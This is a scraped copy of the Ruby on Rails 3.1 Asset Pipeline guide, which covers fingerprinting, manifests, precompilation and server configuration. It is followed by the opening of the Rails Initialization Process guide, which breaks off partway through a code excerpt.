You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Asset Pipeline

This guide covers the asset pipeline introduced in Rails 3.1. By referring to this guide you will be able to:

- Understand what the asset pipeline is and what it does
- Properly organize your application assets
- Understand the benefits of the asset pipeline
- Add a pre-processor to the pipeline
- Package assets with a gem

Chapters

1. **What is the Asset Pipeline?**
    - **Main Features**
    - **What is Fingerprinting and Why Should I Care?**
2. **How to Use the Asset Pipeline**
    - **Asset Organization**
    - **Coding Links to Assets**
    - **Manifest Files and Directives**
    - **Preprocessing**
3. **In Development**
    - **Turning Debugging off**
4. **In Production**
    - **Precompiling Assets**
    - **Live Compilation**
5. **Customizing the Pipeline**
    - **CSS Compression**
    - **JavaScript Compression**
    - **Using Your Own Compressor**
    - **Changing the *assets* Path**
    - **X-Sendfile Headers**
6. **How Caching Works**
7. **Adding Assets to Your Gems**
8. **Making Your Library or Gem a Pre-Processor**
9. **Upgrading from Old Versions of Rails**

1 What is the Asset Pipeline?

The asset pipeline provides a framework to concatenate and minify or compress JavaScript and CSS assets. It also adds the ability to write these assets in other languages such as CoffeeScript, Sass and ERB.

Prior to Rails 3.1 these features were added through third-party Ruby libraries such as Jammit and Sprockets. Rails 3.1 is integrated with Sprockets through Action Pack which depends on the `sprockets` gem, by default.

Making the asset pipeline a core feature of Rails means that all developers can benefit from the power of having their assets pre-processed, compressed and minified by one central library, Sprockets. This is part of Rails' "fast by default" strategy as outlined by DHH in his keynote at RailsConf 2011.

In Rails 3.1, the asset pipeline is enabled by default. It can be disabled in `config/application.rb` by putting this line inside the application class definition:

```
config.assets.enabled = false
```

You can also disable the asset pipeline while creating a new application by passing the `–skip-sprockets` option.

```
rails new appname --skip-sprockets
```

You should use the defaults for all new applications unless you have a specific reason to avoid the asset pipeline.

1.1 Main Features

The first feature of the pipeline is to concatenate assets. This is important in a production environment, because it can reduce the number of requests that a browser must make to render a web page. Web browsers are limited in the number of requests that they can make in parallel, so fewer requests can mean faster loading for your application.

Rails 2.x introduced the ability to concatenate JavaScript and CSS assets by placing `:cache => true` at the end of the `javascript_include_tag` and `stylesheet_link_tag` methods. But this technique has some limitations. For example,

it cannot generate the caches in advance, and it is not able to transparently include assets provided by third-party libraries.

Starting with version 3.1, Rails defaults to concatenating all JavaScript files into one master `.js` file and all CSS files into one master `.css` file. As you'll learn later in this guide, you can customize this strategy to group files any way you like. In production, Rails inserts an MD5 fingerprint into each filename so that the file is cached by the web browser. You can invalidate the cache by altering this fingerprint, which happens automatically whenever you change the file contents..

The second feature of the asset pipeline is asset minification or compression. For CSS files, this is done by removing whitespace and comments. For JavaScript, more complex processes can be applied. You can choose from a set of built in options or specify your own.

The third feature of the asset pipeline is that it allows coding assets via a higher-level language, with precompilation down to the actual assets. Supported languages include Sass for CSS, CoffeeScript for JavaScript, and ERB for both by default.

1.2 What is Fingerprinting and Why Should I Care?

Fingerprinting is a technique that makes the name of a file dependent on the contents of the file. When the file contents change, the filename is also changed. For content that is static or infrequently changed, this provides an easy way to tell whether two versions of a file are identical, even across different servers or deployment dates.

When a filename is unique and based on its content, HTTP headers can be set to encourage caches everywhere (whether at CDNs, at ISPs, in networking equipment, or in web browsers) to keep their own copy of the content. When the content is updated, the fingerprint will change. This will cause the remote clients to request a new copy of the content. This is generally known as *cache busting*.

The technique that Rails uses for fingerprinting is to insert a hash of the content into the name, usually at the end. For example a CSS file `global.css` could be renamed with an MD5 digest of its contents:

```
global-908e25f4bf641868d8683022a5b62f54.css
```

This is the strategy adopted by the Rails asset pipeline.

Rails' old strategy was to append a date-based query string to every asset linked with a built-in helper. In the source the generated code looked like this:

```
/stylesheets/global.css?1309495796
```

The query string strategy has several disadvantages:

1. **Not all caches will reliably cache content where the filename only differs by query parameters**. **Steve Souders recommends**, "…avoiding a querystring for cacheable resources". He found that in this case 5-20% of requests will not be cached. Query strings in particular do not work at all with some CDNs for cache invalidation.
2. **The file name can change between nodes in multi-server environments.**
   The default query string in Rails 2.x is based on the modification time of the files. When assets are deployed to a cluster, there is no guarantee that the timestamps will be the same, resulting in different values being used depending on which server handles the request.
3. **Too much cache invalidation**
   When static assets are deployed with each new release of code, the mtime of *all* these files changes, forcing all remote clients to fetch them again, even when the content of those assets has not changed.

Fingerprinting fixes these problems by avoiding query strings, and by ensuring that filenames are consistent based on their content.

Fingerprinting is enabled by default for production and disabled for all other environments. You can enable or disable it in your configuration through the `config.assets.digest` option.

More reading:

- **Optimize caching**
- **Revving Filenames: don't use querystring**

2 How to Use the Asset Pipeline

In previous versions of Rails, all assets were located in subdirectories of `public` such as `images`, `javascripts` and `stylesheets`. With the asset pipeline, the preferred location for these assets is now the `app/assets` directory. Files in this directory are served by the Sprockets middleware included in the sprockets gem.

Assets can still be placed in the `public` hierarchy. Any assets under `public` will be served as static files by the application or web server. You should use `app/assets` for files that must undergo some pre-processing before they are served.

In production, Rails precompiles these files to `public/assets` by default. The precompiled copies are then served as static assets by the web server. The files in `app/assets` are never served directly in production.

static assets by the web server. The files in app/assets are never served directly in production.

When you generate a scaffold or a controller, Rails also generates a JavaScript file (or CoffeeScript file if the `coffee-rails` gem is in the `Gemfile`) and a Cascading Style Sheet file (or SCSS file if `sass-rails` is in the `Gemfile`) for that controller.

For example, if you generate a `ProjectsController`, Rails will also add a new file at `app/assets/javascripts/projects.js.coffee` and another at `app/assets/stylesheets/projects.css.scss`. You should put any JavaScript or CSS unique to a controller inside their respective asset files, as these files can then be loaded just for these controllers with lines such as `<%= javascript_include_tag params[:controller] %>` or `<%= stylesheet_link_tag params[:controller] %>`.

You must have an **ExecJS** supported runtime in order to use CoffeeScript. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check **ExecJS** documentation to know all supported JavaScript runtimes.

2.1 Asset Organization

Pipeline assets can be placed inside an application in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`.

`app/assets` is for assets that are owned by the application, such as custom images, JavaScript files or stylesheets.

`lib/assets` is for your own libraries' code that doesn't really fit into the scope of the application or those libraries which are shared across applications.

`vendor/assets` is for assets that are owned by outside entities, such as code for JavaScript plugins and CSS frameworks.

2.1.1 Search paths

When a file is referenced from a manifest or a helper, Sprockets searches the three default asset locations for it.

The default locations are: `app/assets/images` and the subdirectories `javascripts` and `stylesheets` in all three asset locations.

For example, these files:

```
app/assets/javascripts/home.js
lib/assets/javascripts/moovinator.js
vendor/assets/javascript/slider.js
```

would be referenced in a manifest like this:

```
//= require home
//= require moovinator
//= require slider
```

Assets inside subdirectories can also be accessed.

```
app/assets/javascripts/sub/something.js
```

is referenced as:

```
//= require sub/something
```

You can view the search path by inspecting `Rails.application.config.assets.paths` in the Rails console.

Additional (fully qualified) paths can be added to the pipeline in `config/application.rb`. For example:

```
config.assets.paths << Rails.root.join("app", "assets", "flash")
```

Paths are traversed in the order that they occur in the search path.

It is important to note that files you want to reference outside a manifest must be added to the precompile array or they will not be available in the production environment.

2.1.2 Using index files

Sprockets uses files named `index` (with the relevant extensions) for a special purpose.

For example, if you have a jQuery library with many modules, which is stored in `lib/assets/library_name`, the file `lib/assets/library_name/index.js` serves as the manifest for all files in this library. This file could include a list of all the required files in order, or a simple `require_tree` directive.

The library as a whole can be accessed in the site's application manifest like so:

```
//= require library_name
```

This simplifies maintenance and keeps things clean by allowing related code to be grouped before inclusion elsewhere.

2.2 Coding Links to Assets

Sprockets does not add any new methods to access your assets – you still use the familiar `javascript_include_tag` and `stylesheet_link_tag`.

```
<%= stylesheet_link_tag "application" %>
<%= javascript_include_tag "application" %>
```

In regular views you can access images in the `assets/images` directory like this:

```
<%= image_tag "rails.png" %>
```

Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at `public/assets/rails.png` it is served by the web server.

Alternatively, a request for a file with an MD5 hash such as `public/assets/rails-af27b6a414e6da00003503148be9b409.png` is treated the same way. How these hashes are generated is covered in the **In Production** section later on in this guide.

Sprockets will also look through the paths specified in `config.assets.paths` which includes the standard application paths and any path added by Rails engines.

Images can also be organized into subdirectories if required, and they can be accessed by specifying the directory's name in the tag:

```
<%= image_tag "icons/rails.png" %>
```

2.2.1 CSS and ERB

The asset pipeline automatically evaluates ERB. This means that if you add an `erb` extension to a CSS asset (for example, `application.css.erb`), then helpers like `asset_path` are available in your CSS rules:

```
.class { background-image: url(<%= asset_path 'image.png' %>) }
```

This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as `app/assets/images/image.png`, which would be referenced here. If this image is already available in `public/assets` as a fingerprinted file, then that path is referenced.

If you want to use a **data URI** — a method of embedding the image data directly into the CSS file — you can use the `asset_data_uri` helper.

```
#logo { background: url(<%= asset_data_uri 'logo.png' %>) }
```

This inserts a correctly-formatted data URI into the CSS source.

Note that the closing tag cannot be of the style `-%>`.

2.2.2 CSS and Sass

When using the asset pipeline, paths to assets must be re-written and `sass-rails` provides `-url` and `-path` helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet.

- `image-url("rails.png")` becomes `url(/assets/rails.png)`
- `image-path("rails.png")` becomes `"/assets/rails.png"`.

The more generic form can also be used but the asset path and class must both be specified:

- `asset-url("rails.png", image)` becomes `url(/assets/rails.png)`
- `asset-path("rails.png", image)` becomes `"/assets/rails.png"`

2.2.3 JavaScript/CoffeeScript and ERB

If you add an `erb` extension to a JavaScript asset, making it something such as `application.js.erb`, then you can use the `asset_path` helper in your JavaScript code:

```
$('#logo').attr({
  src: "<%= asset_path('logo.png') %>"
});
```

This writes the path to the particular asset being referenced.

Similarly, you can use the `asset_path` helper in CoffeeScript files with `erb` extension (e.g., `application.js.coffee.erb`):

```
$('#logo').attr src: "<%= asset_path('logo.png') %>"
```

2.3 Manifest Files and Directives

Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain *directives* — instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if `Rails.application.config.assets.compress` is true). By serving one file rather than many, the load time of pages can be greatly reduced because the browser makes fewer requests.

For example, a new Rails application includes a default `app/assets/javascripts/application.js` file which contains the following lines:

```
// ...
//= require jquery
//= require jquery_ujs
//= require_tree .
```

In JavaScript files, the directives begin with `//=`. In this case, the file is using the `require` and the `require_tree` directives. The `require` directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files `jquery.js` and `jquery_ujs.js` that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a `.js` file when done from within a `.js` file.

In Rails 3.1 the `jquery-rails` gem provides the `jquery.js` and `jquery_ujs.js` files via the asset pipeline. You won't see them in the application tree.

The `require_tree` directive tells Sprockets to recursively include *all* JavaScript files in the specified directory into the output. These paths must be specified relative to the manifest file. You can also use the `require_directory` directive which includes all JavaScript files only in the directory specified, without recursion.

Directives are processed top to bottom, but the order in which files are included by `require_tree` is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other in the concatenated file, require the prerequisite file first in the manifest. Note that the family of `require` directives prevents files from being included twice in the output.

Rails also creates a default `app/assets/stylesheets/application.css` file which contains these lines:

```
/* ...
*= require_self
*= require_tree .
*/
```

The directives that work in the JavaScript files also work in stylesheets (though obviously including stylesheets rather than JavaScript files). The `require_tree` directive in a CSS manifest works the same way as the JavaScript one, requiring all stylesheets from the current directory.

In this example `require_self` is used. This puts the CSS contained within the file (if any) at the precise location of the `require_self` call. If `require_self` is called more than once, only the last call is respected.

If you want to use multiple Sass files, you should generally use the **Sass `@import` rule** instead of these Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in.

You can have as many manifest files as you need. For example the `admin.css` and `admin.js` manifest could contain the JS and CSS files that are used for the admin section of an application.

The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified. For example, you might concatenate three CSS files together this way:

```
/* ...
*= require reset
*= require layout
*= require chrome
*/
```

2.4 Preprocessing

The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an `app/assets/javascripts/projects.js.coffee` and an `app/assets/stylesheets/projects.css.scss` file.

When these files are requested, they are processed by the processors provided by the `coffee-script` and `sass` gems and then sent back to the browser as JavaScript and CSS respectively.

and then sent back to the browser as JavaScript and CSS respectively.

Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called `app/assets/stylesheets/projects.css.scss.erb` is first processed as ERB, then SCSS, and finally served as CSS. The same applies to a JavaScript file — `app/assets/javascripts/projects.js.coffee.erb` is processed as ERB, then CoffeeScript, and served as JavaScript.

Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file `app/assets/javascripts/projects.js.erb.coffee` then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems.

3 In Development

In development mode, assets are served as separate files in the order they are specified in the manifest file.

This manifest `app/assets/javascripts/application.js`:

```
//= require core
//= require projects
//= require tickets
```

would generate this HTML:

```
<script src="/assets/core.js?body=1" type="text/javascript"></script>
<script src="/assets/projects.js?body=1" type="text/javascript"></script>
<script src="/assets/tickets.js?body=1" type="text/javascript"></script>
```

The `body` param is required by Sprockets.

3.1 Turning Debugging off

You can turn off debug mode by updating `config/environments/development.rb` to include:

```
config.assets.debug = false
```

When debug mode is off, Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead:

```
<script src="/assets/application.js" type="text/javascript"></script>
```

Assets are compiled and cached on the first request after the server is started. Sprockets sets a `must-revalidate` Cache-Control HTTP header to reduce request overhead on subsequent requests — on these the browser gets a 304 (Not Modified) response.

If any of the files in the manifest have changed between requests, the server responds with a new compiled file.

Debug mode can also be enabled in the Rails helper methods:

```
<%= stylesheet_link_tag "application", :debug => true %>
<%= javascript_include_tag "application", :debug => true %>
```

The `:debug` option is redundant if debug mode is on.

You could potentially also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging.

4 In Production

In the production environment Rails uses the fingerprinting scheme outlined above. By default Rails assumes that assets have been precompiled and will be served as static assets by your web server.

During the precompilation phase an MD5 is generated from the contents of the compiled files, and inserted into the filenames as they are written to disc. These fingerprinted names are used by the Rails helpers in place of the manifest name.

For example this:

```
<%= javascript_include_tag "application" %>
<%= stylesheet_link_tag "application" %>
```

generates something like this:

```
<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js" type="text/javascript"></script>
<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" rel="stylesheet" type="text/css" />
```

The fingerprinting behavior is controlled by the setting of `config.assets.digest` setting in Rails (which defaults to `true` for production and `false` for everything else).

Under normal circumstances the default option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes.

4.1 Precompiling Assets

Rails comes bundled with a rake task to compile the asset manifests and other files in the pipeline to the disk.

Compiled assets are written to the location specified in `config.assets.prefix`. By default, this is the `public/assets` directory.

You can call this task on the server during deployment to create compiled versions of your assets directly on the server. If you do not have write access to your production file system, you can call this task locally and then deploy the compiled assets.

The rake task is:

```
bundle exec rake assets:precompile
```

For faster asset precompiles, you can partially load your application by setting `config.assets.initialize_on_precompile` to false in `config/application.rb`, though in that case templates cannot see application objects or methods. **Heroku requires this to be false.**

If you set `config.assets.initialize_on_precompile` to false, be sure to test `rake assets:precompile` locally before deploying. It may expose bugs where your assets reference application objects or methods, since those are still in scope in development mode regardless of the value of this flag.

Capistrano (v2.8.0 and above) includes a recipe to handle this in deployment. Add the following line to `Capfile`:

```
load 'deploy/assets'
```

This links the folder specified in `config.assets.prefix` to `shared/assets`. If you already use this shared folder you'll need to write your own deployment task.

It is important that this folder is shared between deployments so that remotely cached pages that reference the old compiled assets still work for the life of the cached page.

If you are precompiling your assets locally, you can use `bundle install --without assets` on the server to avoid installing the assets gems (the gems in the assets group in the Gemfile).

The default matcher for compiling files includes `application.js`, `application.css` and all non-JS/CSS files (i.e., `.coffee` and `.scss` files are **not** automatically included as they compile to JS/CSS):

```
[ Proc.new{ |path| !File.extname(path).in?(['.js', '.css']) }, /application.(css|js)$/ ]
```

If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the `precompile` array:

```
config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js']
```

The rake task also generates a `manifest.yml` that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods to avoid handing the mapping requests back to Sprockets. A typical manifest file looks like:

```
---
rails.png: rails-bd9ad5a560b5a3a7be0808c5cd76a798.png
jquery-ui.min.js: jquery-ui-7e33882a28fc84ad0e0e47e46cbf901c.min.js
jquery.min.js: jquery-8a50feed8d29566738ad005e19fe1c2d.min.js
application.js: application-3fdab497b8fb70d20cfc5495239dfc29.js
application.css: application-8af74128f904600e41a6e39241464e03.css
```

The default location for the manifest is the root of the location specified in `config.assets.prefix` ('/assets' by default).

This can be changed with the `config.assets.manifest` option. A fully specified path is required:

```
config.assets.manifest = '/path/to/some/other/location'
```

If there are missing precompiled files in production you will get an `Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError` exception indicating the name of the missing file(s).

4.1.1 Server Configuration

Precompiled assets exist on the filesystem and are served directly by your web server. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add them.

For Apache:

```
<LocationMatch "^/assets/.*$">
  Header unset ETag
  FileETag None
  # RFC says only cache for 1 year
  ExpiresActive On
  ExpiresDefault "access plus 1 year"
</LocationMatch>
```

For nginx:

```
location ~ ^/assets/ {
  expires 1y;
  add_header Cache-Control public;

  add_header ETag "";
  break;
}
```

When files are precompiled, Sprockets also creates a **gzipped** (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. On the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compressed files themselves.

Nginx is able to do this automatically enabling `gzip_static`:

```
location ~ ^/(assets)/  {
  root /path/to/public;
  gzip_static on; # to serve pre-gzipped version
  expires max;
  add_header Cache-Control public;
}
```

This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even `nginx-light` have the module compiled. Otherwise, you may need to perform a manual compilation:

```
./configure --with-http_gzip_static_module
```

If you're compiling nginx with Phusion Passenger you'll need to pass that option when prompted.

A robust configuration for Apache is possible but tricky; please Google around. (Or help update this Guide if you have a good example configuration for Apache.)

4.2 Live Compilation

In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly.

To enable this option set:

```
config.assets.compile = true
```

On the first request the assets are compiled and cached as outlined in development above, and the manifest names used in the helpers are altered to include the MD5 hash.

Sprockets also sets the `Cache-Control` HTTP header to `max-age=31536000`. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache.

This mode uses more memory, performs more poorly than the default and is not recommended.

If you are deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile:

```
group :production do
  gem 'therubyracer'
end
```

5 Customizing the Pipeline

5.1 CSS Compression

There is currently one option for compressing CSS, YUI. The **YUI CSS compressor** provides minification.

The following line enables YUI compression, and requires the `yui-compressor` gem.

```
config.assets.css_compressor = :yui
```

The `config.assets.compress` must be set to `true` to enable CSS compression.

5.2 JavaScript Compression

Possible options for JavaScript compression are `:closure`, `:uglifier` and `:yui`. These require the use of the `closure-compiler`, `uglifier` or `yui-compressor` gems, respectively.

The default Gemfile includes **uglifier**. This gem wraps **UglifierJS** (written for NodeJS) in Ruby. It compresses your code by removing white space. It also includes other optimizations such as changing your `if` and `else` statements to ternary operators where possible.

The following line invokes `uglifier` for JavaScript compression.

```
config.assets.js_compressor = :uglifier
```

Note that `config.assets.compress` must be set to `true` to enable JavaScript compression

You will need an **ExecJS** supported runtime in order to use `uglifier`. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check the **ExecJS** documentation for information on all of the supported JavaScript runtimes.

5.3 Using Your Own Compressor

The compressor config settings for CSS and JavaScript also take any object. This object must have a `compress` method that takes a string as the sole argument and it must return a string.

```
class Transformer
  def compress(string)
    do_something_returning_a_string(string)
  end
end
```

To enable this, pass a `new` object to the config option in `application.rb`:

```
config.assets.css_compressor = Transformer.new
```

5.4 Changing the *assets* Path

The public path that Sprockets uses by default is `/assets`.

This can be changed to something else:

```
config.assets.prefix = "/some_other_path"
```

This is a handy option if you are updating an existing project (pre Rails 3.1) that already uses this path or you wish to use this path for a new resource.

5.5 X-Sendfile Headers

The X-Sendfile header is a directive to the web server to ignore the response from the application, and instead serve a specified file from disk. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster.

Apache and nginx support this option, which can be enabled in `config/environments/production.rb`.

```
# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
```

If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into `production.rb` and any other environments you define with production behavior (not `application.rb`).

6 How Caching Works

Sprockets uses the default Rails cache store to cache assets in development and production.

TODO: Add more about changing the default store.

7 Adding Assets to Your Gems

Assets can also come from external sources in the form of gems.

A good example of this is the `jquery-rails` gem which comes with Rails as the standard JavaScript library gem. This

gem contains an engine class which inherits from `Rails::Engine`. By doing this, Rails is informed that the directory for this gem may contain assets and the `app/assets`, `lib/assets` and `vendor/assets` directories of this engine are added to the search path of Sprockets.

8 Making Your Library or Gem a Pre-Processor

TODO: Registering gems on **Tilt** enabling Sprockets to find them.

9 Upgrading from Old Versions of Rails

There are two issues when upgrading. The first is moving the files from `public/` to the new locations. See **Asset Organization** above for guidance on the correct locations for different file types.

The second is updating the various environment files with the correct default options. The following changes reflect the defaults in version 3.1.0.

In `application.rb`:

```
# Enable the asset pipeline
config.assets.enabled = true

# Version of your assets, change this if you want to expire all your assets
config.assets.version = '1.0'

# Change the path that assets are served from
# config.assets.prefix = "/assets"
```

In `development.rb`:

```
# Do not compress assets
config.assets.compress = false

# Expands the lines which load the assets
config.assets.debug = true
```

And in `production.rb`:

```
# Compress JavaScripts and CSS
config.assets.compress = true

# Choose the compressors to use
# config.assets.js_compressor  = :uglifier
# config.assets.css_compressor = :yui

# Don't fallback to assets pipeline if a precompiled asset is missed
config.assets.compile = false

# Generate digests for assets URLs.
config.assets.digest = true

# Defaults to Rails.root.join("public/assets")
# config.assets.manifest = YOUR_PATH

# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
# config.assets.precompile += %w( search.js )
```

You should not need to change `test.rb`. The defaults in the test environment are: `config.assets.compile` is true and `config.assets.compress`, `config.assets.debug` and `config.assets.digest` are false.

The following should also be added to `Gemfile`:

```
# Gems used only for assets and not required
# in production environments by default.
group :assets do
  gem 'sass-rails',   "~> 3.1.0"
  gem 'coffee-rails', "~> 3.1.0"
  gem 'uglifier'
end
```

If you use the `assets` group with Bundler, please make sure that your `config/application.rb` has the following Bundler require statement:

```
if defined?(Bundler)
  # If you precompile assets before deploying to production, use this line
```

```
  Bundler.require *Rails.groups(:assets => %w(development test))
  # If you want your assets lazily compiled in production, use this line
  # Bundler.require(:default, :assets, Rails.env)
end
```

Instead of the old Rails 3.0 version:

```
# If you have a Gemfile, require the gems listed there, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(:default, Rails.env) if defined?(Bundler)
```

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

The Rails Initialization Process

This guide explains the internals of the initialization process in Rails as of Rails 3.1. It is an extremely in-depth guide and recommended for advanced Rails developers.

- Using `rails server`
- Using Passenger

Chapters

1. **Launch!**
   - `bin/rails`
   - `railties/lib/rails/cli.rb`
   - `script/rails`
   - `config/boot.rb`
   - `rails/commands.rb`
   - `actionpack/lib/action_dispatch.rb`
   - `activesupport/lib/active_support.rb`
   - `activesupport/lib/active_support/lazy_load_hooks.rb`
   - `activesupport/lib/active_support/inflector/methods.rb`
   - `actionpack/lib/action_dispatch.rb` **cont'd.**
   - `rails/commands/server.rb`
   - **Rack:** `lib/rack/server.rb`
   - `Rails::Server#start`
   - `config/environment.rb`
   - `config/application.rb`
2. **Loading Rails**
   - `railties/lib/rails/all.rb`
   - `railties/lib/rails.rb`
   - `railties/lib/rails/ruby_version_check.rb`
   - `active_support/core_ext/kernel/reporting.rb`
   - `active_support/core_ext/logger.rb`
   - `railties/lib/rails/application.rb`
   - `active_support/file_update_checker.rb`
   - `railties/lib/rails/plugin.rb`
   - `railties/lib/rails/engine.rb`
   - `railties/lib/rails/railtie.rb`
   - `railties/lib/rails/initializable.rb`
   - `railties/lib/rails/configuration.rb`
   - `activesupport/lib/active_support/deprecation.rb`
   - `activesupport/lib/active_support/deprecation/behaviors.rb`
   - `activesupport/lib/active_support/notifications.rb`
   - `activesupport/core_ext/array/wrap`
   - `activesupport/lib/active_support/deprecation/reporting.rb`
   - `activesupport/lib/active_support/deprecation/method_wrappers.rb`
   - `activesupport/lib/active_support/deprecation/proxy_wrappers.rb`
   - `active_support/ordered_options`
   - `railties/lib/rails/paths.rb`
   - `railties/lib/rails/rack.rb`
   - `activesupport/lib/active_support/inflector.rb`
   - `active_support/inflections`
   - `activesupport/lib/active_support/inflector/transliterate.rb`
   - **Back to** `railties/lib/rails/railtie.rb`
   - `railties/lib/rails/engine/railties.rb`
   - **Back to** `railties/lib/rails/engine.rb`
   - **Back to** `railties/lib/rails/plugin.rb`
   - **Back to** `railties/lib/rails/application.rb`
   - `railties/lib/rails/version.rb`
   - `activesupport/lib/active_support/railtie.rb`
   - `activesupport/lib/active_support/i18n_railtie.rb`
   - `railties/lib/rails/railtie/configuration.rb`
   - **Back to** `activesupport/lib/active_support/i18n_railtie.rb`

- **Back to activesupport/lib/active_support/railtie.rb**
- **activesupport/lib/action_dispatch/railtie.rb**
- **activesupport/lib/action_dispatch.rb**
- **activemodel/lib/active_model.rb**
- **activesupport/lib/active_support/i18n.rb**
- **Back to activesupport/lib/action_dispatch.rb**
- **Back to activesupport/lib/action_dispatch/railtie.rb**
- **Back to railties/lib/rails.rb**
- **Back to railties/lib/rails/all.rb**
- **activerecord/lib/active_record/railtie.rb**
- **activerecord/lib/active_record.rb**
- **Back to activerecord/lib/active_record/railtie.rb**
- **actionpack/lib/action_controller/railtie.rb**
- **actionpack/lib/action_view.rb**

This guide goes through every single file, class and method call that is required to boot up the Ruby on Rails stack for a default Rails 3.1 application, explaining each part in detail along the way. For this guide, we will be focusing on how the two most common methods (`rails server` and Passenger) boot a Rails application.

Paths in this guide are relative to Rails or a Rails application unless otherwise specified.

1 Launch!

As of Rails 3, `script/server` has become `rails server`. This was done to centralize all rails related commands to one common file.

1.1 `bin/rails`

The actual `rails` command is kept in *bin/rails*:

```
#!/usr/bin/env ruby

begin
  require "rails/cli"
rescue LoadError
  railties_path = File.expand_path('../../railties/lib', __FILE__)
  $:.unshift(railties_path)
  require "rails/cli"
end
```

This file will attempt to load `rails/cli`. If it cannot find it then `railties/lib` is added to the load path (`$:`) before retrying.

1.2 `railties/lib/rails/cli.rb`

This file looks like this:

```
require 'rbconfig'
require 'rails/script_rails_loader'

# If we are inside a Rails application this method performs an exec and thus
# the rest of this script is not run.
Rails::ScriptRailsLoader.exec_script_rails!

require 'rails/ruby_version_check'
Signal.trap("INT") { puts; exit }

if ARGV.first == 'plugin'
  ARGV.shift
  require 'rails/commands/plugin_new'
else
  require 'rails/commands/application'
end
```

The `rbconfig` file from the Ruby standard library provides us with the `RbConfig` class which contains detailed information about the Ruby environment, including how Ruby was compiled. We can see this in use in `railties/lib/rails/script_rails_loader`.

```
require 'pathname'

module Rails
  module ScriptRailsLoader
    RUBY = File.join(*RbConfig::CONFIG.values_at("bindir", "ruby_install_name")) + RbConfig::CONFIG["EXEEXT"]
```

```
    SCRIPT_RAILS = File.join('script', 'rails')
    ...

  end
end
```

The `rails/script_rails_loader` file uses `RbConfig::Config` to obtain the `bin_dir` and `ruby_install_name` values for the configuration which together form the path to the Ruby interpreter. The `RbConfig::CONFIG["EXEEXT"]` will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in `exec_script_rails!`. As for the `SCRIPT_RAILS` constant, we'll see that when we get to the `in_rails_application?` method.

Back in `rails/cli`, the next line is this:

```
Rails::ScriptRailsLoader.exec_script_rails!
```

This method is defined in `rails/script_rails_loader`:

```
def self.exec_script_rails!
  cwd = Dir.pwd
  return unless in_rails_application? || in_rails_application_subdirectory?
  exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application?
  Dir.chdir("..") do
    # Recurse in a chdir block: if the search fails we want to be sure
    # the application is generated in the original working directory.
